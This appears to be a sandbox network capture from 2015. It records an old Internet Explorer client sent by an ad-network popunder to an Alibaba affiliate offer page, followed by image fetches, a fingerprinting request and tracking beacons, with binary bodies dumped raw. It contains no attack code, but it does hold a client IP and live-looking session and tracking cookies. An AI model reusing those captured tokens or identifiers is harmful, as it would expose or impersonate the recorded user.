<<< skipped >>>

GET /tps/i4/TB16MsBGXXXXXc1XFXXw4O3GXXX-33-20.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 558

Last-Modified: Wed, 24 Sep 2014 12:27:08 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.164

Timing-Allow-Origin: *

Cache-Control: max-age=296530592

Expires: Mon, 04 Nov 2024 02:10:01 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...!..........STq....bKGD..............pHYs...H...H.F.
k>....vpAg...!............2IDATH...[O.0...........Q/.~....F3'..e...
.7.D.......?i...Ah.5..21.t.3|.....!e.f.%.O.C.a.!.....jU..u...>.Y:f.
?.G../Z4.u.J.$i5..A..8.[)...j..m3.#..|...y.@.~N..Fk.[...B<........u
).. h._...eyj..n...'-......0..l...#.n...,..v..G.$.......`.t$i..p..}z..
...b>_.^o.-..A..f.Q.v..4.Cj5.<b.M.Z.j........1....@@...~.....w.L
x.R......%tEXtdate:create.2014-09-24T20:27:08 08:00U......%tEXtdate:mo
dify.2014-09-24T20:27:08 08:00$N5s....tEXtSoftware.Adobe ImageReadyq.e
<....IEND.B`.....


GET /tps/i3/TB19_fqGXXXXXXrXFXXSutbFXXX.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 14848

Last-Modified: Mon, 15 Sep 2014 11:15:52 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.48

Timing-Allow-Origin: *

Cache-Control: max-age=294541662

Expires: Sat, 12 Oct 2024 01:41:11 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222........,........................................
...>.........................!1A.."Qa2q.B..#R...3....b..$45CrSs....
...........................$......................!1.A.Q."2a.q........
....?.......8.... .@#(...8......e.fh..>&..).{$....;5.|QA.....3q..[8
..a...[<..#~.2rr95.?.uc.Y...G.].R9..z_........(.(...T..PI.8.8i.g..!
.l.E.fF.>j}*).....DN......=02...9....o.4....c2.2.2.2.2.2.2.2......b
............>............T/F.....g31....vA..C. 3,[email protected].
!....A).3T.......~.@.[..?..x.r...x.....Y..OG,..H...F....>.z3a.M..)\
F..M...........e... ....$4..Av.A..V5.V..d.Nq.hI..1...|...w..].I....T..
&S$R....b?z.....k?4.........,..O....fy.H......e.e.%.LR.h...m$.m.T|.L..
.A%..o..k..G...'..H.5*VSD...V#R...0d..i.....2(.*[email protected]]3$&...
.hP.T......yG...lg..,.........l......}=....=.?.S.F.p3AL.iT.<.T64.nw
.$..T;...ApX.$.4....r....i.0.w.......I......&B......0..{..%....n...K..
^?z.$.Xg...U..f..E.#......O.l..}..!6Nz..Ah.-.A........)..n........8...
.Mx.zb_..9......&B..-.c...&5..i6.mf.......|Rb.Q.L....\....u.u.H...D.2.
.Z.g^j..i..:[email protected]@.~.....4.yG.........\y?.;1...t.
.~~ ..8.t.O..t;l..%W...y1.*[)l....g..d.u..../AF.EL.b...ng%.*_F.l......
.6&..). t..V.$....{.}..f..%............w.....7.....y.O...(Q..eo .)z...
.y...dVNP......-.VX.[ .({..?Pj.k...\he..c...>.....[G......%.Q.T.|. 
E.2\Z:.#.K.{..i....`...'h....".{....x...Q.MC...B.......$....8.`..?
<<< skipped >>>

GET /tps/i4/TB1WJb8HpXXXXcCXFXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 24247

Last-Modified: Mon, 30 Mar 2015 10:01:51 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.48

Timing-Allow-Origin: *

Cache-Control: max-age=308974064

Expires: Fri, 28 Mar 2025 02:41:14 GMT

Date: Sat, 13 Jun 2015 00:33:30 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....,.,.....C..............................................
......................C...............................................
..........................,...........................................
..I............................!.1A.."Qa..2Bq.#R...$br..C.3Sc...4....%
&.....................................5.........................!1..AQ
aq.."B...2R....r.#..............?.....h....h....h....h....h....h....h.
...h....h....h....h....h....h....h....h....h....h....h....h....h....h.
...h....h....h....h....h....h....h....h....h....h..#z:...t...}].......
..C x.F.O'.. ..?....c......'...C}..m7..._.rT...:.:..S.....{S -D..B.CEX
.~.0...V.......MCS6......\..P.x&1........ick...b.g\4.c..I....,.QiDg...
.1.M.....L.)[email protected]^I.HS.6..D..,.YmO...q.2.B......"..A.{[email protected][email protected].
[email protected][email protected][email protected][email protected][email protected]=JY]/X.\W.v....CA.rzZ..........g...Q.x}....
."...%.Hx(59KD......P.C9.. R...5....V.....f.R.X......I..9...TA.Y....%.
..&L....%*2P.m(.......Rs.t.Sv.Z...g(v.9.) ...N.8.B..,...)=..8.d5 n=b..
&.j.....b-...0;.. .R{.A.H.X.Mr.lLT5&.......W..6......R.....!C..<.A.
MB..!."=D......34...P. ...l.,[email protected][email protected]....!.%
.......qJT..yz.6..G..n..T:.....W..&J.?u.t .IZ..QW.....0.h/./"KIq.%m..%
I9... [email protected][email protected][email protected][email protected][email protected][email protected]=.^..;..c-..5j...N...x'.{.
x.A.....,.O.......]....M....8...4......#[email protected]<.U...
4i.'....~d..<.d.....m...q .u.j..j.$.......y..A..........{t^y.0...@.
`.@4..}.w83...$.....".[..?.O`.y.9 .k.....!...~#<.?....z(u...R\..>
;n.%.?...h=.T"L......[..c..[_.N..t.s..UZ|...$9PPQ..m....<J.@.].
<<< skipped >>>

GET /exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: offer.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; ali_apache_track=""; ali_apache_tracktmp=""; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==

HTTP/1.1 200 OK

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:28 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

P3P: CP="CAO PSA OUR"

Set-Cookie: JSESSIONID=OP9666A1-2K0141E8U1AST28V2GAP2-XYX7BUAI-0G9B; Path=/; HttpOnly

Set-Cookie: ali_apache_track=; Domain=.alibaba.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/

Set-Cookie: ali_apache_tracktmp=; Domain=.alibaba.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/

Set-Cookie: _mle_tmp0=eNrz4A12DQ729PeL9/V3cfUxiKrOTLFS8g+wNDMzczTUNfI2MDQxdLUINXQMDjGyCDNydwww0o2IjDB3CnX01DVwt3RS0kkusTI0MTYxNDU1M7AwNzPUSUxGE8itsDKojQIAALQbiQ==; Path=/; HttpOnly

Content-Language: en-US

Content-Encoding: gzip
5be9..............]s... .lG.......N."..S...d...e..l...[Q..$,...!...D..
.....l....FGO.<.<[email protected].@VUVfUVVVf...?z.w.
.....z........f....8....Q.......Q.H.my.......JXlK...q...{.b..uz.".....
.=.^<..iA*=.{.3<.>.1..i....=..IG...^.$.._. wy.........lGw.#..
%(e.m.y.C..~....i...W}...;o6V.N].1..a[....K.^..4.......y.u.H.JD.I...~m
hvoC:.}G3.....RGZ...j..c..5..Fu........v.tf;.>......._..t./5..O....
.C...d.f..zC.n@.|..l...%.uK......i..1-=|../.Z....x........UUJ...5...2.
K.W.<`j0... ..n...1..._......".h..&...m. ^a.J...K...u|.q.....'{..sp
p..p.t.|.d...}i[ZqI...}.t...W=....G..Wr.2.........R.2N/.5.r.}@.zZ...Z*
..C.d...G..`.4.g(n.....7z..E.D...Jv.........NY.qQ..b.7.....z.........9
.*.G#0uJ&H....>..../.dh..6.B..cB...:.2..&....VI.m...w.j..G;.3,b....
m...n.k.(..DE..K.2P'.(^[email protected]...>^[email protected].. ..R.r
...,.~w.8..{....$.iAr..zN}............Q.U..\.k.r...MS..J.H........ .(.
`.{.s....c.ww.\.G:.y..~zxt..1..........Mi.po............ .....mJ2|..R.
N....#...d/u.{P..h..........-.&:.j........hJ...G....F.z.F/hg&j.@~.....
..q.W....(...N......7.V..9.......I..l}.j4.,......PH..1.....#..........
uu>@..=.!........eeK.?D.....&7H.B.D. D.S..V.j.Vn@...<......5n...
..r....J. .....C.Q.....I.f.]...Y..%gO.?.........iO{.....7.....w..@7...
;[.,......PF{..;~.j...6.>...z{...7.9....=...._.>........... kz..
....nK=.zqVu..=.z...w.t?",}..<}..:}...\~^ys....S.{.d....y.\..tt..|.
......w.........re..........yyj..[...'e.......>/..JY........j(.?W..
...!y.\.O^...../...K......._?..O..........'h..&.>=~.|.....q[...
<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: offer.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ; JSESSIONID=OP9666A1-2K0141E8U1AST28V2GAP2-XYX7BUAI-0G9B; _mle_tmp0=eNrz4A12DQ729PeL9/V3cfUxiKrOTLFS8g+wNDMzczTUNfI2MDQxdLUINXQMDjGyCDNydwww0o2IjDB3CnX01DVwt3RS0kkusTI0MTYxNDU1M7AwNzPUSUxGE8itsDKojQIAALQbiQ==

HTTP/1.1 200 OK

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:30 GMT

Content-Type: image/x-icon

Content-Length: 1406

Last-Modified: Tue, 09 Jun 2015 06:57:32 GMT

Connection: keep-alive

ETag: "55768e5c-57e"

Accept-Ranges: bytes
..............h.......(....... ...........@...........................
.p...LL......t.......(H.0P......,Hx. XX.....4h.. [email protected]`...|...,,.......
[email protected].. 0..............\\......|.......<D.<\..D`..8H
X.,l..4<[email protected]..<@.<t.................
.................([email protected].....,[email protected].(((..................
....48.0..............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...................................................ADDDD*C.((0)  ..>
;GGGGG<<C.(...... GGGGG<<C.(... ;;..GGGGG<C....);;.8'GG
GGG<C..();;;..GGGGGG<CC.0;;;.1.. 91.<<CC.;;;;;EGGGGG ..<
;.(;;;;;EGGGGG.G<C.(;;;;.GGGGGGGG<..(;;;?.GGGGGGGD...(.;;;!..GGG
GD....(.;;;;;!...D4....(..;;;;;....4....((..;;;;;;..4.....(.CC);;;....
..............................................................
<<< skipped >>>

GET /wimg/monitor/start-render.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sun, 14 Jun 2015 07:16:44 GMT

Last-Modified: Tue, 17 Jul 2012 05:55:27 GMT

Cache-Control: max-age=172800

Server: Tengine

Accept-Ranges: bytes

SERVED-FROM: 24.143.194.30

Content-Length: 949

Content-Type: image/png

X-Pad: avoid browser bug

Timing-Allow-Origin: *

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR.............(.4.....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:2CDA8B17CFBC11E19980DC0C34
BFCD49" xmpMM:DocumentID="xmp.did:2CDA8B18CFBC11E19980DC0C34BFCD49">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2CDA8B15CFBC11E19980
DC0C34BFCD49" stRef:documentID="xmp.did:2CDA8B16CFBC11E19980DC0C34BFCD
49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>][email protected].
b`..0.....OmY.....IEND.B`.HTTP/1.1 200 OK..Expires: Sun, 14 Jun 2015 0
7:16:44 GMT..Last-Modified: Tue, 17 Jul 2012 05:55:27 GMT..Cache-Contr
ol: max-age=172800..Server: Tengine..Accept-Ranges: bytes..SERVED-FROM
: 24.143.194.30..Content-Length: 949..Content-Type: image/png..X-Pad: 
avoid browser bug..Timing-Allow-Origin: *..Date: Sat, 13 Jun 2015 00:3
3:29 GMT..Connection: keep-alive..Timing-Allow-Origin: *..Network_Info
: UA_KHARKIV_34323...PNG........IHDR.............(.4.....tEXtSoftware.
Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket 
<<< skipped >>>

GET /simg/sprites/env/aisn/goto-top.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sat, 13 Jun 2015 22:13:24 GMT

Last-Modified: Wed, 05 Dec 2012 08:39:07 GMT

Cache-Control: max-age=172800

Timing-Allow-Origin: *

SERVED-FROM: 212.30.134.184

Server: Tengine

Accept-Ranges: bytes

Content-Length: 370

Content-Type: image/png

X-Pad: avoid browser bug

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...0.....`.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...KPLTE...........................................................
..................XY....tRNS..........................4......IDATx....
..0....&"..8....W..L..z..6.G.....i&..8p`..\M..... [email protected]...
.(}...>4...........\.T...{}b.q.[v.D ....Unb.u.m.~w.#..........p...`
}......8..........IEND.B`...

GET /service/um.json?xv=2.0.3&xt=d5b9591c-cb60-4f96-be26-2bff6b23ff8a&xa=scp4p&xh=&x0=0^^1^^1^^1^^1^^1^^1^^1^^5^^1^^color^^-^^1276^^846&x1=1^^1^^1^^1^^0^^0^^1^^0^^0^^en^^-^^0^^Windows XP^^Win32&x2=Mozilla^^;SP3;^^Microsoft Internet Explorer^^3516ab67d54092e6bf44e729b77d6580^^en-us^^x86^^57f2da82064a7b7501289385afb25340^^Adobe Windows^^ActiveX^^en-us^^1def8189f7c620d61827869f51fcf447^^en-us^^WIN 11,6,602,168&x3=818^^1276^^3896^^1400^^846^^-^^http%3A%2F%2Foffer.alibaba.com%2Fexclusive.html%3Falpsm%3Dtrue%26sms%3Dsuginter%26smcon%3Dp%26tv%3D3%26imp%3D5b1aor19nl5bq76m3hj%26xp%3DLvgMuz7SxVBSO8m8pLNOH7a3^^-^^101^^-^^1434155621374^^120^^1276&xs=null&_callback=_1867_1434155621390 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ynuf.alibaba.com

Connectio
HTTP/1.1 200 OK

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:32 GMT

Content-Type: text/javascript;charset=utf-8

Content-Length: 174

Connection: keep-alive

Set-Cookie: umdata_=F18566FE3F6A1058A752130C834CBCD94FC38B3B6DD7EE76DCAA924E35643421A20691AAD79DCAC47DF1B5BC320AE4583433554724957A96960158C50EBC5BCE2264F1A04C3CF884; Domain=.ynuf.alibaba.com; Expires=Sun, 12-Jun-2016 00:33:32 GMT; Path=/; Secure; HttpOnly

P3P: CP=IVAa PSAa

Content-Language: zh-CN
_1867_1434155621390({"id":"F18566FE3F6A1058A752130C834CBCD94FC38B3B6DD
7EE76DCAA924E35643421A20691AAD79DCAC47DF1B5BC320AE4583433554724957A969
60158C50EBC5BCE2264F1A04C3CF884"})HTTP/1.1 200 OK..Server: Tengine..Da
te: Sat, 13 Jun 2015 00:33:32 GMT..Content-Type: text/javascript;chars
et=utf-8..Content-Length: 174..Connection: keep-alive..Set-Cookie: umd
ata_=F18566FE3F6A1058A752130C834CBCD94FC38B3B6DD7EE76DCAA924E35643421A
20691AAD79DCAC47DF1B5BC320AE4583433554724957A96960158C50EBC5BCE2264F1A
04C3CF884; Domain=.ynuf.alibaba.com; Expires=Sun, 12-Jun-2016 00:33:32
 GMT; Path=/; Secure; HttpOnly..P3P: CP=IVAa PSAa..Content-Language: z
h-CN.._1867_1434155621390({"id":"F18566FE3F6A1058A752130C834CBCD94FC38
B3B6DD7EE76DCAA924E35643421A20691AAD79DCAC47DF1B5BC320AE45834335547249
57A96960158C50EBC5BCE2264F1A04C3CF884"})..

GET /7.gif?logtype=1&title=&pre=http://onclickads.net/afu.php?zoneid=313275&cache=67bd1e4&scr=1276x846&isbeta=5&spm-cnt=0.0.0.0.Mj3nGs&aplus&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_apache_id=193.138.244.231.1434155608293.716224.2&dmtrack_c={trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76|aep_usuc_f=-}&p=1&o=winXP&b=ie6&s=1276x846&w=trident HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gj.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:29 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=WWgCDjWxzjYCAcGK9OdXbmWQ; expires=Tue, 10-Jun-25 00:33:29 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=b51e11e5; path=/; domain=.mmstat.com

Set-Cookie: atpsida=a6ca10f6dde226707a558e02_1434155609; expires=Tue, 10-Jun-25 00:33:29 GMT; path=/; domain=.mmstat.com

Location: hXXp://pcookie.alibaba.com/app.gif?&cna=WWgCDjWxzjYCAcGK9OdXbmWQ

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Sat, 13 Jun 2015 00:33:29 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=WWgCDjWxzj
YCAcGK9OdXbmWQ; expires=Tue, 10-Jun-25 00:33:29 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=b51e11e5; path=/; domain=.mmstat.com..Set-C
ookie: atpsida=a6ca10f6dde226707a558e02_1434155609; expires=Tue, 10-Ju
n-25 00:33:29 GMT; path=/; domain=.mmstat.com..Location: hXXp://pcooki
e.alibaba.com/app.gif?&cna=WWgCDjWxzjYCAcGK9OdXbmWQ..Expires: Thu, 01 
Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF8
9a.............!.......,...........L..;..

GET /app.gif?&cna=WWgCDjWxzjYCAcGK9OdXbmWQ HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1

Connection: Keep-Alive

Host: pcookie.alibaba.com

HTTP/1.1 200 OK

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:30 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=WWgCDjWxzjYCAcGK9OdXbmWQ; expires=Tue, 10-Jun-25 00:33:30 GMT; path=/; domain=.alibaba.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
